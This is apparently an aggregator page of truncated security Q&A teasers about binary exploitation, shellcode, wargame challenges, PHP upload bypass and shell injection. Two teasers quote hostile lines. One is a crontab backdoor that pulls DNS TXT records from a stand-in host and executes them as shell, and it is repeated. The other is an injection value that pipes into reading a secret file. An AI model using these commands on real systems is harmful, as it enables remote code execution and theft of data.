Collaborate Disseminate
(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )
When exporting shellcode to EGG environment variable
export EGG=`python3 -c "import sys; sys…. Continue reading Exporting shellcode to environment variable doesn’t work as expected
I currently got interested in binary exploitation (even though I do not know if today is still useful).
I started studying shellcode and buffer overflow (stack-buffer overflow, specifically). I know that this vulnerability is nowadays rare… Continue reading Unable to execute shellcode on x86_64 architecture
I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).
This is the vulnerable C code:
#include <stdio.h>
#include <… Continue reading Buffer overflow stops executing shellcode in the middle of it
I’ve found this interesting question Is this integer overflow vulnerability exploitable?.
How can I practically find the next instruction (in gdb) so that I can overwrite the return address and execute a shell code?
Is there a !pvefindaddr p2 (search for all pop/pop/ret combinations in the entire process memory space) equivalent in mona.py?
Alternatively, is there any option to run pvefindaddr in latest versions of Immunity Debugger? Currently, when I… Continue reading pvefindaddr p2 in mona?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain imf0rce.htb and then executes them as she… Continue reading Does it matter what nameserver is queried for TXT records?
I found this backdoor in a crontab:
* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"
And if i understood correctly, it queries all the TXT records in the domain imf0rce.htb and then executes them as she… Continue reading Does it matter what nameserver is queried for TXT records?
All of the methods that I tried are here. I am pentesting a PHP site and the site has an upload file button that only allows PDF, .DOC, .DOCX, .MP3, .MP4, .JPG, .JPEG, .PPT, .XLS. Is there a way I can use one of these file formats to gain … Continue reading How to upload a PDF,DOC,DOCX,MP3,MP4,JPG,JPEG,PPT or XLS file to run php code [closed]
All of the methods that I tried are here. I am pentesting a PHP site and the site has an upload file button that only allows PDF, .DOC, .DOCX, .MP3, .MP4, .JPG, .JPEG, .PPT, .XLS. Is there a way I can use one of these file formats to gain … Continue reading How to upload a PDF,DOC,DOCX,MP3,MP4,JPG,JPEG,PPT or XLS file to run php code [closed]
I saw someone doing this in a php shell injection:
test | cat /var/backup/secret.txt
Why are they using test |? How is that not useless here?
Continue reading Why would you use the command `test` in a php shell injection?